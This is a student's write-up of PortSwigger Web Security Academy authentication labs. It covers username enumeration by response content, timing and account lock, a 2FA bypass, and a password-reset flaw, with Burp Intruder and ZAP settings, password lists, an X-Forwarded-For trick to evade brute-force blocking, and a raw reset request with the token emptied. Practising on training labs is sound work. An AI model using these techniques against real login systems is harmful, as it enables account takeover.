

PORTSWIGGER WEB SECURITY

ACADEMY: AUTHENTICATION

LAB REPORT

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1. Objective

The objective of this lab is to identify, exploit, and understand Authentication vulnerabilities in a web application by using PortSwigger Academy's Authentication labs.

2. Tools used

- Kali Linux : Penetration Testing Operating System.
- Portswigger Academy Labs : Vulnerable Target Web Application.
- Burp Suite : Web Application Security Testing and Vulnerability Assessment Tool.
- Zaproxy : This Tool is also Web Application Security Testing and Vulnerability Assessment Tool.

3. Lab Environment Setup

- Just a simple website login on Portswigger Academy and accessing its Vulnerable Labs to practice Web application Ethical Hacking.
- Pre-installed Web application security testing tools that is Burp Suite and Zaproxy which is already present in Kali Linux Operating System.

4. Authentication labs

I. Username Enumeration via different responses

⇒ The burp is running and I saw login page and submitted an invalid username and password. And in HTTP history found the Post/login request and sent the request to burp intruder.

⇒ In burp intruder , i selected the username and set the payload §. And selected sniper attack, simple list payload and started the attack.

⇒ Found the username by comparing the response that showed Incorrect password for the user and all other usernames got Invalid username.

| Request | Payload | Status code | Response received | Error | Timeout | Length | Comment |
|---------|---------|-------------|-------------------|-------|---------|--------|---------|
| 50 | akamai | 200 | 232 | | | 3250 | |
| 0 | | 200 | 224 | | | 3248 | |
| 1 | root | 200 | 326 | | | 3248 | |
| 2 | | 200 | 260 | | | 3248 | |
| 3 | | 200 | 308 | | | 3248 | |
| 4 | | 200 | 271 | | | 3248 | |
| 5 | | 200 | 334 | | | 3248 | |
| 6 | | 200 | 249 | | | 3248 | |
| 7 | | 200 | 283 | | | 3248 | |
| 8 | | 200 | 293 | | | 3248 | |

⇒ And again opened burp intruder to add username and added the payload § to password . gave password list in payloads section and started the attack.

| Payload position: | All payload positions |
|--|-----------------------|
| Payload type: | Simple list |
| Payload count: | 100 |
| Request count: | 100 |
| Payload configuration | |
| This payload type lets you configure a simple list of strings that are used as payloads. | |
| Paste | 123456 |
| Load... | password |
| Remove | 12345678 |
| Clear | qwerty |
| Deduplicate | 123456789 |
| Add | 12345 |
| Add | 123456789 |
| Add from list... | [Pro version only] |

⇒ And found the correct password by 302 status in status column and logged in as the user I acquired.

| Request | Payload | Status code | Response received | Error | Timeout | Length | Comment |
|---------|-----------|-------------|-------------------|-------|---------|--------|---------|
| 11 | 123123 | 302 | 262 | | | 188 | |
| 0 | | 200 | 231 | | | 3250 | |
| 1 | 123456 | 200 | 241 | | | 3250 | |
| 2 | password | 200 | 231 | | | 3250 | |
| 3 | 12345678 | 200 | 238 | | | 3250 | |
| 4 | qwerty | 200 | 234 | | | 3250 | |
| 5 | 123456789 | 200 | 215 | | | 3250 | |
| 6 | 12345 | 200 | 239 | | | 3250 | |
| 7 | 1234 | 200 | 229 | | | 3250 | |
| 8 | 111111 | 200 | 265 | | | 3250 | |

My Account

Your username is: akamai
Your email is: akamai@normal-user.net

Email

[Update email](#)

II. 2FA Simple Bypass

- ⇒ Logged in to the own account by the portswigger academy given credentials. And got 2FA code to the email client.
- ⇒ After 2FA code login, I copied my account page URL and logged out of my account.
- ⇒ I got victim credentials too by the portswigger academy folks , and logged in using that credentials ,and used the URL of my account page and navigated to my account and got in.

Your email address is wiener@exploit-0a0a00b3044631d381aec47d01cb005c.exploit-server.net

Displaying all emails @exploit-0a0a00b3044631d381aec47d01cb005c.exploit-server.net and all subdomains

| Sent | To | From | Subject | Body |
|---------------------------|--|--|---------------|---|
| 2026-01-27 19:16:40 +0000 | wiener@exploit-0a0a00b3044631d381aec47d01cb005c.exploit-server.net | no-reply@0a74004b0425318381d3c525007e005d.web-security-academy.net | Security code | <p>Hello!</p> <p>Your security code is 0254.</p> <p>Please enter this in the app to continue.</p> <p>Thanks, Support team</p> |

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your email is: wiener@exploit-0a0a00b3044631d381aec47d01cb005c.exploit-server.net

Email

Login

Username

Password

Congratulations, you solved the lab!

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Home | My account | Log out

My Account

Your username is: carlos

Your email is: carlos@carlos-montoya.net

Email

Update email

III. Password Reset Broken Logic

⇒ Clicked the forgot your password? Link and entered my username and in email client changed my paswword.

Your email address is wiener@exploit-Oada001703f6b1f081f1e32d01b60018.exploit-server.net

Displaying all emails @exploit-Oada001703f6b1f081f1e32d01b60018.exploit-server.net and all subdomains

| Sent | To | From | Subject | Body |
|---------------------------|--|--|------------------|--|
| 2026-01-27 19:26:49 +0000 | wiener@exploit-Oada001703f6b1f081f1e32d01b60018.exploit-server.net | no-reply@0a880027030bb193817de489007f0045.web-security-academy.net | Account recovery | <p>Hello!</p> <p>Please follow the link below to reset your password.</p> <p>https://0a880027030bb193817de489007f0045.web-security-academy.net/forgot-password?temp-forgotten-password-token=39uwm8mt944gasnjwj3lok3ancropw6l</p> <p>Thanks, Support team</p> |

⇒ In burp searched the request POST and sent it to repeater, and saw that password reset functionlality still works even if the value of temp forgot passowrd token is deleated.

⇒ So I changed the username to victim username and let the temp forgot password token value deleated as it is and set the password randomly and sent the request.

```

POST /forgot-password?temp-forgot-password-token=39uwm8mt944gasnjw3lok3ancropw6l HTTP/2
Host: 0a880027030bb193817de489007f0045.web-security-academy.net
Cookie: session=zkwOL7i1vnb6yNzMTiV3qAjbxAv2Yz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
Origin: https://0a880027030bb193817de489007f0045.web-security-academy.net
Referer: https://0a880027030bb193817de489007f0045.web-security-academy.net/forgot-password?temp-forgot-password-token=39uwm8mt944gasnjw3lok3ancropw6l
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
temp-forgot-password-token=39uwm8mt944gasnjw3lok3ancropw6l&username=wiener&new-password-1=peter&new-password-2=peter

```

Target: https://0a880027030bb193817de489007f0045.web-security-academy.net

| Request | Response |
|--|---|
| <pre> POST /forgot-password?temp-forgot-password-token=39uwm8mt944gasnjw3lok3ancropw6l HTTP/2 Host: 0a880027030bb193817de489007f0045.web-security-academy.net Cookie: session=zkwOL7i1vnb6yNzMTiV3qAjbxAv2Yz User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 117 Origin: https://0a880027030bb193817de489007f0045.web-security-academy.net Referer: https://0a880027030bb193817de489007f0045.web-security-academy.net/forgot-password?temp-forgot-password-token=39uwm8mt944gasnjw3lok3ancropw6l Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers temp-forgot-password-token=39uwm8mt944gasnjw3lok3ancropw6l&username=wiener&new-password-1=peter&new-password-2=peter </pre> | <pre> HTTP/2 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 0 </pre> |

⇒ In the browser , magically I could log in to victims account using the credentials I set in burp and solved the lab.

Congratulations, you solved the lab!

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Home | My account | Log out

My Account

Your username is: carlos
Your email is: carlos@carlos-montoya.net

IV. Username Enumeration via response Timing

⇒ After submitting invalid username and password , sent the POST request to burp intruder. And got IP blocked after making too many invalid login attempts.

Username enumeration via response timing

Back to lab description >

Home | My account

Login

123

The screenshot shows the Burp Suite interface. In the Request tab, a POST /login HTTP/2 request is displayed. The payload is a long string of 'peter' repeated 100 times. In the Response tab, the page shows an error message: "Invalid username or password." Below the tabs, the status bar indicates "3,249 bytes | 502 millis".

⇒ Used X-Forwarded-For header and it was supported . it allows us to bypass the brute force protection. And noticed that when the username is invalid the response time is similar ,but when I enter my username which is valid the response time increases based on the length of the password I enter.

The screenshot shows the Burp Suite Intruder tab. A POST /login HTTP/2 request is selected. The payloads panel on the right is configured for a "Pitchfork attack". It specifies a payload position of 1-1, payload type as "Numbers", and a payload count of 198. The payload configuration section shows a range from 3 to 200 with a step of 1. The number format is set to decimal. The status bar at the bottom indicates "Length: 841".

⇒ Sent the request to burp intruder and selected two payloads one for X-Forwarded-For header and other for username. In payload selected numbers ,entered the range 1-100 and step to 1 , to bypass my IP.

Target: https://0a6000ec032ff70784cc1e8100180040.web-security-academy.net

Payloads

- Payload position: 2 - 123
- Payload type: Simple list
- Request count: 100
- Payload configuration

This payload type lets you configure a simple list of strings that are used as payloads.

| Action | Value |
|-----------|------------------|
| Paste | 12345 |
| Load... | password |
| Remove | 12345678 |
| Clear | overtly |
| Duplicate | 123456789 |
| Add | 12345 |
| Add | Enter a new item |

Add from list... [Pro version only]

Payload processing

You can define rules to perform various processing tasks on each payload before it is used.

Add | Ena... Rule | Edit | Remove

Event log (1) All issues

Results | Positions

Capture filter: Capturing all items | View filter: Showing all items | Apply capture filter

| Request | Payload 1 | Payload 2 | Status code | Response time | Error | Timeout | Length | Comment |
|---------|-----------|-----------|-------------|---------------|-------|---------|--------|---------|
| 1 | 800 | carlos | 200 | 1013 | | | 3249 | |
| 2 | 801 | root | 200 | 1012 | | | 3249 | |
| 36 | 835 | adserver | 200 | 816 | | | 3249 | |
| 97 | 896 | auction | 200 | 603 | | | 3249 | |
| 6 | | | 200 | 572 | | | 3249 | |
| 81 | 880 | archie | 200 | 341 | | | 3249 | |
| 85 | 884 | arkansas | 200 | 337 | | | 3249 | |
| 11 | 810 | oracle | 200 | 336 | | | 3249 | |
| 79 | 878 | aq | 200 | 336 | | | 3249 | |
| 86 | 885 | arlington | 200 | 336 | | | 3249 | |

Attack | Save | 6. Intruder attack of https://0a6000ec032ff70784cc1e8100180040.web-security-academy.net | Attack | Save

Finished

⇒ And also set the username payload and gave the list of usernames and started the attack. After getting results the response time of the username which is longer is the username that I was finding and found.

⇒ And repeated the same steps in burp intruder but changed the username payload to password parameter and got 302 status in response and logged in.

My Account

Your username is: auction

Your email is: auction@normal-user.net

Email

[Update email](#)

V. Username enumeration via Account Lock

⇒ Submitted the invalid username and password to see what happens and viewed the responses in burp repeater some time ,but I will use zaproxy for this lab because it takes less time to complete than burp community edition.

⇒ In Zaproxy, right clicked the POST login request to fuzz and added payload position to username and blank payload at the end of the request. And gave list of usernames and selected null payload for second payload and started the attack.

| Task ID | Message Type | Code | Reason | RTT | Size Resp. Header | Size Resp. Body | Highest Alert | State | Payloads |
|-----------|--------------|--------|--------|--------|-------------------|-----------------|---------------|-----------|----------|
| 1Original | | 200 OK | | 808 ms | 129 bytes | 3,182 bytes | Medium | Reflected | ag |
| 2Fuzzed | | 200 OK | | 129 ms | 129 bytes | 3,132 bytes | | Reflected | ag |
| 3Original | | 200 OK | | 127 ms | 129 bytes | 3,132 bytes | | Reflected | carlos |
| 4Fuzzed | | 200 OK | | 880 ms | 129 bytes | 3,132 bytes | | Reflected | carlos |
| 5Fuzzed | | 200 OK | | 790 ms | 129 bytes | 3,132 bytes | | Reflected | carlos |
| 6Fuzzed | | 200 OK | | 840 ms | 129 bytes | 3,132 bytes | | Reflected | carlos |
| 7Fuzzed | | 200 OK | | 817 ms | 129 bytes | 3,132 bytes | | Reflected | carlos |
| 8Fuzzed | | 200 OK | | 744 ms | 129 bytes | 3,132 bytes | | Reflected | carlos |

⇒ After getting results, saw responses for one username longer and contains different error message You have made too many incorrect login attempts . and that is our username.

| Task ID | Message Type | Code | Reason | RTT | Size Resp. Header | Size Resp. Body | Highest Alert | State | Payloads |
|-----------|--------------|--------|--------|--------|-------------------|-----------------|---------------|-----------|-----------|
| 71Fuzzed | | 200 OK | | 829 ms | 129 bytes | 3,054 bytes | | Reflected | maggie |
| 0Original | | 200 OK | | 763 ms | 129 bytes | 3,132 bytes | | Reflected | password |
| 4Fuzzed | | 200 OK | | 759 ms | 129 bytes | 3,132 bytes | | Reflected | qerty |
| 2Fuzzed | | 200 OK | | 770 ms | 129 bytes | 3,132 bytes | | Reflected | 12345678 |
| 3Fuzzed | | 200 OK | | 834 ms | 129 bytes | 3,132 bytes | | Reflected | 123456 |
| 1Fuzzed | | 200 OK | | 871 ms | 129 bytes | 3,184 bytes | | Reflected | 123456789 |
| 5Fuzzed | | 200 OK | | 727 ms | 129 bytes | 3,184 bytes | | Reflected | 1234 |
| 7Fuzzed | | 200 OK | | 738 ms | 129 bytes | 3,184 bytes | | Reflected | 1234 |

⇒ And again used simple fuzz for password and started the attack and got the password. And logged in with victim credentials.

name enumerat x Authentication lab passw x Username enumeration v New Tab x +

https://0a2d006e04b7ce1781f6e8df00020003.web-security-academy.net/my-account?id=ag

Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

Web Security Academy 4

Username enumeration via account lock

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LAB Solved

Congratulations, you solved the lab!

Share your skills! Continue learning >

Home | My account | Log out

My Account

Your username is: ag
Your email is: ag@normal-user.net

Email

Update email

5. Conclusion

Successfully identified and bypassed authentication flaws like password based attacks, broken 2FA bypass and more by brute force attacks, authentication bypass methods and token manipulation. And got to know the mitigation strategies like strong password policies, secure MFA, account lockout mechanisms and proper session handling. These labs showed the importance of secure coding practices and importance of security testing in protecting user authentication systems from real world threats.--

6. References

- Burp Suite →
<https://portswigger.net/burp>
- Kali Linux →
<https://www.kali.org/>
- Zaproxy →
<https://www.zaproxy.org/>